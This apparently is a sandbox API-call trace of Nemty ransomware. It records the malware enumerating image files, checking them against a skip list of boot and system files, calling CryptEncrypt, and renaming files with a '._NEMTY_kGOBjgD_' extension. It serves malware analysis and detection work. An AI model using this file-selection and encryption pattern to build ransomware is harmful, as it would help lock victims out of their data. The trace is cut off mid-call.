[0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="NTDETECT.COM") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="ntldr") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="MSDOS.SYS") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="IO.SYS") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="boot.ini") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="boot.ini") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="ntuser.dat") returned -1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="desktop.ini") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="CONFIG.SYS") returned 1 [0163.313] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="RECYCLER") returned -1 [0163.314] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="BOOTSECT.BAK") returned 1 [0163.314] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="bootmgr") returned 1 [0163.314] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="programdata") returned -1 [0163.314] lstrcmpiW (lpString1="docked_blue_sun.png", lpString2="appdata") returned 1 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_sun.png", lpUsedDefaultChar=0x0) returned 19 [0163.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_sun.png", lpUsedDefaultChar=0x0) returned 19 [0163.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0163.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_sun.png", lpUsedDefaultChar=0x0) returned 19 [0163.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0163.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_sun.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_sun.png", lpUsedDefaultChar=0x0) returned 19 [0163.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.315] Sleep (dwMilliseconds=0x5) [0163.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14ffc0f0, dwHighDateTime=0x1d561e8)) [0163.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14ffc0f0, dwHighDateTime=0x1d561e8)) [0163.330] GetLastError () returned 0x5 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.330] GetLastError () returned 0x5 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.330] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.330] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="basc0ZRVEf54daIimPMgwzlnAEjGHr2KYxcllRFlt5erkW2YU1Kz11CXWtNVzRk+\r\nhvJKmsfKBAJA1WmdeINKkg+dQpV4li8DQrMEcCbjojCTwghkI61KTkIHCLOYgE5X\r\nJtpKmgLYGK7LVWzZc+bm1h1xB3Jag4+HKH8WyKFntP18WquUXkP6Rpwew6kiNcWy\r\nppSkuvdw54RCn1yWgSWxbMCcXkFxBzYuqukIP1tejxwmsmfl1xE3NaTKM/J2vbTg\r\nbs7lQh/+L6IUyiUfNhLxoPpZtHP2u1W4NFi3klLdT58bDzBWGEufov81lI/wavtO\r\nR/UbKf1E6JgyHiqRBvB+aA==\r\n", pcchString=0x653e91c) returned 1 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.330] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_sun.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_sun.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.331] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.437] CloseHandle (hObject=0xffffffff) returned 0 [0163.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0163.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0163.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_sun.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_sun.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_blue_sun.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_blue_sun.png._nemty_kgobjgd_")) returned 0 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.437] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8741bf2a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8741bf2a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0163.437] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2=".") returned 1 [0163.437] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="..") returned 1 [0163.437] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="...") returned 1 [0163.437] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="windows") returned -1 [0163.437] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="$RECYCLE.BIN") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="rsa") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="NTDETECT.COM") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="ntldr") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="MSDOS.SYS") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="IO.SYS") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="boot.ini") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="boot.ini") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="ntuser.dat") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="desktop.ini") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="CONFIG.SYS") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="RECYCLER") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="BOOTSECT.BAK") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="bootmgr") returned 1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="programdata") returned -1 [0163.438] lstrcmpiW (lpString1="docked_blue_windy.png", lpString2="appdata") returned 1 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_blue_windy.png", lpUsedDefaultChar=0x0) returned 21 [0163.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_blue_windy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 